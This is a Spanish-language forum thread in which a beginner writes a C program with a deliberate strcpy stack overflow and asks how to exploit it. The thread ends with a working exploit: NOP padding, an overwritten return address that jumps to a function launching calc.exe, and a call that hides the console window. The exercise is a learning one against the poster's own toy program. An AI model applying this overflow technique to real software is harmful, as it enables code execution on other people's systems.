Bueno, me he metido en este apasionante mundo, y me he puesto a probar algo...
Tengo este code:
#include <stdio.h>
#include <string.h>
#include <windows.h>
int fff ()
{
WinExec ("calc.exe", SW_MAX);
}
int main(int argc, char **argv)
{
if (argc != 2) return 1;
char buff[12];
strcpy(buff,argv[1]);
printf("\nHas escrito: %s\n",buff);
return 0;
}
Es simple. Meto 24 nops y 4 numeros con la direccion de fff. A mi me da 0x4013c0. Como ven es una direccion de 3 "digitos".
Bueno ¿ Qué hago con el cuarto ?
#include <windows.h>
#include <strcpy.h>
int main ()
{
char buff [28];
int i;
for (i = 0; i <= 23; i++)
buff [i] = '\90'
/*
Aqui van las declaraciones de buff [24 / 27] (menos 1 por el 0).
La cosa es que tengo tres numeros donde van cuatro.
*/
char command [33];
strcpy (command, "code ");
strcat (command, buff);
WinExec (command);
}
El exploit es sencillo, pero no se que hacer. Pido perdais 5 segundos de vuestro tiempo contestandome xD!!!
Que hago? Como seria el exploit?
Espero sus prontas respuestas.
Y sí, he mirado en google y en el foro...
Aparte, uso Windows Vista 64 bits...
Es simple, si te sobran bytes en la dirección, lo llenas con ceros al principio, osea, es como decir: es lo mismo decir "100" que decir "0000100".
Bueno, gracias por tu pronta respuesta...
Eso pense al principio, pero lo descarte porque... y por que el GDB me pone eso sin ceros?
Code final:
#include <windows.h>
#include <string.h>
int main ()
{
ShowWindow (GetForegroundWindow (), SW_HIDE);
char nop [24];
memset (nop, '\x90', 24);
char ret [4] = "\xc0\x13\x40\x00";
char command [33];
strcpy (command, "code ");
strcat (command, nop);
strcat (command, ret);
system (command);
return 0;
}
Muchas gracias por todo